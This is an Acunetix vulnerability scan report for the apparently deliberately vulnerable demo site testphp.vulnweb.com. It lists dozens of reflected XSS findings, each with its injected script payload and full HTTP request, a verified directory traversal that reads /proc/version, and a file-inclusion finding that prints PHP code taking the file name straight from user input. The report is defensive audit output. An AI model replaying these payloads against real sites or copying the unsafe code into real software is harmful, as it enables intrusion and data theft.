acunetix

Affected Items Report

Acunetix Security Audit

28 April 2020

Generated by Acunetix

Scan of testphp.vulnweb.com

Scan details

Scan information	
Start time	28/04/2020, 06:29:55
Start url	http://testphp.vulnweb.com/
Host	testphp.vulnweb.com
Scan time	32 minutes, 15 seconds
Profile	Full Scan
Server information	nginx/1.4.1
Responsive	True
Server OS	Unknown
Server technologies	PHP

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	172
High	65
Medium	71
Low	9
Informational	27

Affected items

Web Server	
Alert group	**Cross site scripting**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URI was set to **1<ScRiPt>fjC0(9307)</ScRiPt>** The input is reflected inside a text element.

```
GET /404.php?1<ScRiPt>fjC0(9307)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/AJAX/showxml.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	Cookie input **mycookie** was set to **3'"()&%<acx><ScRiPt >rntK(9680)</ScRiPt>**

```
GET /AJAX/showxml.php HTTP/1.1

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=test%2Ftest;mycookie=3'"()&%<acx><ScRiPt%20>rntK(9680)</ScRiPt>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/comment.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **name** was set to **<your name here>'"()&%<acx><ScRiPt >JD4Q(9412)</ScRiPt>**

```
POST /comment.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 132

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



Submit=Submit&comment=555&name=<your%20name%20here>'"()%26%25<acx><ScRiPt%20>JD4Q(9412)
</ScRiPt>&phpaction=echo%20%24_POST[comment];
```

/guestbook.php

Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **name** was set to **test'"()&%<acx><ScRiPt >Y6Zb(9407)</ScRiPt>**

```
POST /guestbook.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 84

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



name=test'"()%26%25<acx><ScRiPt%20>Y6Zb(9407)</ScRiPt>&submit=add%20message&text=555
```

/guestbook.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **text** was set to **555'"()&%<acx><ScRiPt >Y6Zb(9283)</ScRiPt>**

```
POST /guestbook.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 84

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



name=test&submit=add%20message&text=555'"()%26%25<acx><ScRiPt%20>Y6Zb(9283)</ScRiPt>
```

/hpp/	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded GET input **pp** was set to **12'"()&%<acx><ScRiPt >jZhN(9893)</ScRiPt>**

```
GET /hpp/?pp=12'"()%26%25<acx><ScRiPt%20>jZhN(9893)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/hpp/params.php	
Alert group	**Cross site scripting (verified)**

Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded GET input **p** was set to **1'"()&%<acx><ScRiPt >3dES(9569)</ScRiPt>**

```
GET /hpp/params.php?p=1'"()%26%25<acx><ScRiPt%20>3dES(9569)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/hpp/params.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded GET input **pp** was set to **12'"()&%<acx><ScRiPt >l4SI(9722)</ScRiPt>**

```
GET /hpp/params.php?p=valid&pp=12'"()%26%25<acx><ScRiPt%20>l4SI(9722)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/listproducts.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded GET input **artist** was set to **1'"()&%<acx><ScRiPt >KM0B(9371)</ScRiPt>**

```
GET /listproducts.php?artist=1'"()%26%25<acx><ScRiPt%20>KM0B(9371)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/listproducts.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded GET input **cat** was set to **1'"()&%<acx><ScRiPt >h2AQ(9315)</ScRiPt>**

```
GET /listproducts.php?cat=1'"()%26%25<acx><ScRiPt%20>h2AQ(9315)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/search.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **searchFor** was set to **the'"()&%<acx><ScRiPt >33Yw(9328)</ScRiPt>**

```
POST /search.php?test=query HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 70

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



goButton=go&searchFor=the'"()%26%25<acx><ScRiPt%20>33Yw(9328)</ScRiPt>
```

/secured/newuser.php	
Alert group	**Cross site scripting (verified)**

Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **uaddress** was set to **3137 Laguna Street'"()&%<acx><ScRiPt >cVea(9682)</ScRiPt>**

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street'"()%26%25<acx><ScRiPt%20>cVea(9682)
</ScRiPt>&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g0
0dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv&uuname=ghovjnjv
```

/secured/newuser.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **ucc** was set to **4111111111111111'"()&%<acx><ScRiPt >cVea(9182)</ScRiPt>**

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111'"()%26%25<acx>
<ScRiPt%20>cVea(9182)
</ScRiPt>&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone
=555-666-0606&urname=ghovjnjv&uuname=ghovjnjv
```

/secured/newuser.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **uemail** was set to **sample@email.tst'"()&%<acx><ScRiPt >cVea(9345)</ScRiPt>**

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst'"()%26%25<acx><ScRiPt%20>cVea(9345)
</ScRiPt>&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=ghovjnjv
```

/secured/newuser.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **uphone** was set to **555-666-0606'"()&%<acx><ScRiPt >cVea(9547)</ScRiPt>**

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606'"()%26%25<acx>
<ScRiPt%20>cVea(9547)</ScRiPt>&urname=ghovjnjv&uuname=ghovjnjv
```

/secured/newuser.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **urname** was set to **ghovjnjv'"()&%<acx><ScRiPt >cVea(9871) </ScRiPt>**

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv'"
()%26%25<acx><ScRiPt%20>cVea(9871)</ScRiPt>&uuname=ghovjnjv
```

/secured/newuser.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **uuname** was set to **ghovjnjv'"()&%<acx><ScRiPt >cVea(9277)</ScRiPt>**

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=ghovjnjv'"()%26%25<acx><ScRiPt%20>cVea(9277)</ScRiPt>
```

/userinfo.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **uaddress** was set to **<div id="content"> <div class="story"> <h3>If you are already registered please enter your login information below:</h3> <form name="loginform" method="post" action="userinfo.php"> <table cellpadding="4" cellspacing="1"> <tr><td>Username : </td><td><input name="uname" type="text" size="20" style="width:120px;"></td></tr> <tr> <td>Password : </td><td><input name="pass" type="password" size="20" style="width:120px;"></td></tr> <tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;"></td></tr> </table> </form> </div>'"()&%<acx><ScRiPt >3o1l(9394)</ScRiPt>**

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>'"()%26%25<acx>
<ScRiPt%20>3o1l(9394)
</ScRiPt>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

/userinfo.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **ucc** was set to **777"onmouseover=3o1l(9849)"** The input is reflected inside a tag parameter between double quotes.

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 831

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777"onmouseover=3o1l(9849
)"&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

/userinfo.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **uemail** was set to **matheusdaocu@gmail.com'"()&%<acx><ScRiPt >3o1l(9934)</ScRiPt>**

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com'"()%26%25<acx><ScRiPt%20>3o1l(9934)
</ScRiPt>&update=update&uphone=%2B555%20666666666
```

/userinfo.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **uphone** was set to **+555 666666666'"()&%<acx><ScRiPt >3o1l(9784)</ScRiPt>**

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 852

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=%2B555%20666666666'"()%26%25<acx><ScRiPt%20>3o1l(9784)
</ScRiPt>
```

/userinfo.php	
Alert group	**Cross site scripting (verified)**
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded POST input **urname** was set to **ghovjnjv<ScRiPt >3GFT(9826)</ScRiPt>** The input is reflected inside a text element.

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 853

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=%2B555%20666666666&urname=ghovjnjv<ScRiPt%20>3GFT(9826)
</ScRiPt>
```

/showimage.php	
Alert group	**Directory traversal (verified)**
Severity	High
Description	This script is possibly vulnerable to directory traversal attacks. Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory.
Recommendations	Your script should filter metacharacters from user input.
Alert variants	

Details	URL encoded GET input **file** was set to **../../../../../../../../../../../../../../../proc/version**
	File contents found:
	`Linux version 2.6.32-46-server (buildd@lamiak) (gcc version 4.4.3`
	Proof of Exploit
	File - /proc/version
	`Linux version 2.6.32-46-server (buildd@lamiak) (gcc version 4.4.3 (U`

```
GET /showimage.php?
file=../../../../../../../../../../../../../../../proc/version&size=160 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/showimage.php	
Alert group	**File inclusion**
Severity	High
Description	This script is possibly vulnerable to file inclusion attacks. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.
Recommendations	Edit the source code to ensure that input is properly validated. Where is possible, it is recommended to make a list of accepted filenames and restrict the input to that list. For PHP, the option **allow_url_fopen** would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. It is recommended to disable this option from php.ini.
Alert variants	

Details

URL encoded GET input **file** was set to **showimage.php**

Pattern found:

```
<?php
// header("Content-Length: 1" /*. filesize($name)*/);
if( isset($_GET["file"]) && !isset($_GET["size"]) ){
        // open the file in a binary mode
        header("Content-Type: image/jpeg");
        $name = $_GET["file"];
        $fp = fopen($name, 'rb');

        // send the right headers
        header("Content-Type: image/jpeg");

        // dump the picture and stop the script
        fpassthru($fp);
        exit;
}
elseif (isset($_GET["file"]) && isset($_GET["size"])){
        header("Content-Type: image/jpeg");
        $name = $_GET["file"];
        $fp  ...
```

```
GET /showimage.php?file=showimage.php&size=160 HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
